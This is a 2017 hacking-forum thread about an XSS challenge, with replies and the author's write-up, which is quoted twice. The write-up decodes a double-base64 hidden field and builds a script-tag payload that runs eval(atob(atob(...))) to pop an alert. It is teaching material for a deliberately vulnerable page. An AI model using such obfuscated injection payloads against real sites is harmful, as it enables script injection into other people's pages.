

Forum:[Hack Forums](#)

Thread: [XSS Challenge 5 | Test your skills !](#)

redlightrouter - May 2, 2017, 11:16 am

Hi all,

So I made a new XSS challenge since I got too much time to spare :s
I'd say that the difficulty should be around medium since it requires a tiny bit more javascript knowledge and a little knowledge about encoding.

With that being said, here is the challenge:

<http://xsschallenge.coolpage.biz/xss5.php>

Send your solution to me in a PM, and don't spoil for the others.

Have fun !

Spoiler ([Click to View](#))

ThisBoss - May 2, 2017, 7:35 pm

I try to use script but it don't work, now i need go to work when i back to home i will try again.

Session_worm - May 3, 2017, 1:57 pm

Hello, interesting idea ?

Let me clarify....

The challenge is to pop-up the alert box with text upon loading the page (the button , or sneak in any kind of code that does something?

Also second question:

Do you in some time post your solution somewhere? (Given that there is infinite ammount of solutions, according to how people want to solve it).

Meanwhile I also tried your other challenges, so far passed only the first one with modern browser, but will keep up until I pass all of them ?

Stop cry - May 3, 2017, 2:02 pm

what is this pls detailssssssssssssss

redlightrouter - May 3, 2017, 2:31 pm

(May 3, 2017 01:57 PM)Session_worm Wrote: [\[CITE\]](#) Hello, interesting idea ?

Let me clarify....

The challenge is to pop-up the alert box with text upon loading the page (the button , or sneak in any kind of code that does something?

Also second question:

Do you in some time post your solution somewhere? (Given that there is infinite ammount of solutions, according to how people want to solve it).

Meanwhile I also tried your other challenges, so far passed only the first one with modern browser, but will keep up until I pass all of them ?

1. Yes, once you get an alert box you solved the challenge. 2. Also yes, I will post it somewhere next week.

Good luck :)

mr.vulnerable - May 3, 2017, 8:53 pm

its hard for newbie like me waiting for the solution thanks :)

Session_worm - May 4, 2017, 4:07 am

Finally finished challenge n. 5. ?

Cannot send PM's (yet) so putting it like this.

Gave me hard time, and I'm glad since it taught me new method. ?

Spoiler ([Click to View](#))

Cannot post img link, so if you want to see my proof, decode this:

104, 116, 116, 112, 58, 47, 47, 105, 46, 105, 109, 103, 117, 114, 46, 99, 111, 109, 47, 78, 57, 75, 75, 111, 88, 103, 46, 112, 110, 103

redlightrouter - May 4, 2017, 5:24 am

(May 4, 2017 04:07 AM)Session_worm Wrote: ([CITE](#)) Finally finished challenge n. 5. ?

Cannot send PM's (yet) so putting it like this.

Gave me hard time, and I'm glad since it taught me new method. ?

<https://i.imgur.com/N9KKoXg.png>

Goodjob! Have you tried the other 4 challenges?

Alim - July 23, 2017, 7:16 pm

Hello, the challenge is very interesting, same, I cannot post image but here you have the link prntscr.com/fzf5kj

Thanks.

mutybyte - July 24, 2017, 5:08 am

Can you tell me to learn xss for your challenge purpose so that i able to solve your challenge

Pronouncer - July 24, 2017, 5:12 am

It's a very nice challenge :) thnx for contributing

redlightrouter - July 24, 2017, 8:12 pm

(Jul 24, 2017 05:12 AM)Pronouncer Wrote: ([CITE](#)) It's a very nice challenge :) thnx for contributing

Thank you for your kind words :).

Well, I promised a write-up so here it is:

Spoiler ([Click to View](#))

When viewing the source code you will see a hidden input

Quote:<input id="x" type="Hidden" value="WVd4bGNuUW9KMWhUVXljcA==" > with the value 'WVd4bGNuUW9KMWhUVXljcA=='. This is obviously base64, so lets decode it

Quote:WVd4bGNuUW9KMWhUVXljcA== : YWxlc nQoJ1hTUy c p This looks like another base64 encoded string. Lets decode it again:

Quote:YWxlc nQoJ1hTUy c p : alert('XSS')

This is actually interesting since this is what we want to achieve in the end: Popping an alert box.

In Javascript it's possible to return a reference to the element by its ID with the function ' document.getElementById() '.

So lets try that out in Chrome's console:

PHP Code

```
<?php
```

```
document.getElementById("x")
```

```
/* returns <input id="x" type="Hidden" value="WVd4bGNuUW9KMWhUVXljcA==" >
```

```
This returns the whole line where the id is in, we don't want that. We want its value. */
```

```
document.getElementById("x").value /* returns WVd4bGNuUW9KMWhUVXljcA==
```

```
That's exactly what we wanted. */
```

Now we know how to get its value and we know it's base64 encoded, so a possible payload looks like this:

Quote:- Get the value of id X

- base64 decode it twice

So we need to decode the string twice, fortunately Javascript has a function for that called atob().

Lets try that in Chrome's console:

PHP Code

```
<?php
```

```
atob(atob(document.getElementById("x").value)) // Returns alert('XSS')
```

Nice, lets try to make a payload:

PHP Code

```
<?php
```

```
//Replace [] with <>
```

```
[script] atob(atob(document.getElementById("x").value)) [/script]
```

```
// This will not work, because this is what Javascript interprets
```

```
[script] "alert('xss')" [/script]
```

```
/*
```

This returns a string so nothing happens.

(Un)Fortunately Javascript also has a solution for this issue.

The function eval() takes a string and will execute it as it's a real function.

Lets try that out

```
*/
```

```
[script]eval(atob(atob(document.getElementById("x").value)))[/script]
```

Boom, an alert box appears.

Thanks for participating.

mutybyte - July 25, 2017, 12:20 am

(Jul 24, 2017 08:12 PM)redlightrouter Wrote: [\[CITE\]](#) Thank you for your kind words :).

Well, I promised a write-up so here it is:

Spoiler ([Click to View](#))

When viewing the source code you will see a hidden input

with the value ' WVd4bGNuUW9KMWhUVXljcA== '. This is obviously base64, so lets decode it

This looks like another base64 encoded string. Lets decode it again:

This is actually interesting since this is what we want to achieve in the end: Popping an alert box.

In Javascript it's possible to return a reference to the element by its ID with the function ' document.getElementById() '.

So lets try that out in Chrome's console:

PHP Code

```
<?php
```

```
document.getElementById("x")
```

```
/* returns <input id="x" type="Hidden" value="WVd4bGNuUW9KMWhUVXljcA==" >
```

This returns the whole line where the id is in, we don't want that. We want its value. */

```
document.getElementById("x").value /* returns WVd4bGNuUW9KMWhUVXljcA==
```

That's exactly what we wanted. */

Now we know how to get its value and we know it's base64 encoded, so a possible payload looks like this:

So we need to decode the string twice, fortunately Javascript has a function for that called atob().

Lets try that in Chrome's console:

PHP Code

```
<?php
```

```
atob(atob(document.getElementById("x").value)) // Returns alert('XSS')
```

Nice, lets try to make a payload:

PHP Code

```
<?php
```

```
//Replace [] with <>
```

```
[script] atob(atob(document.getElementById("x").value)) [/script]
```

```
// This will not work, because this is what Javascript interprets
```

```
[script] "alert('xss')" [/script]
```

```
/*
```

This returns a string so nothing happens.

(Un)Fortunately Javascript also has a solution for this issue.

The function eval() takes a string and will execute it as it's a real function.

Lets try that out

```
*/
```

```
[script]eval(atob(atob(document.getElementById("x").value)))[/script]
```

Boom, an alert box appears.

Thanks for participating.

Thanks for writeup though i don't understand much as i don't know javascript language but i understand base64. Once i learn language then i try for xss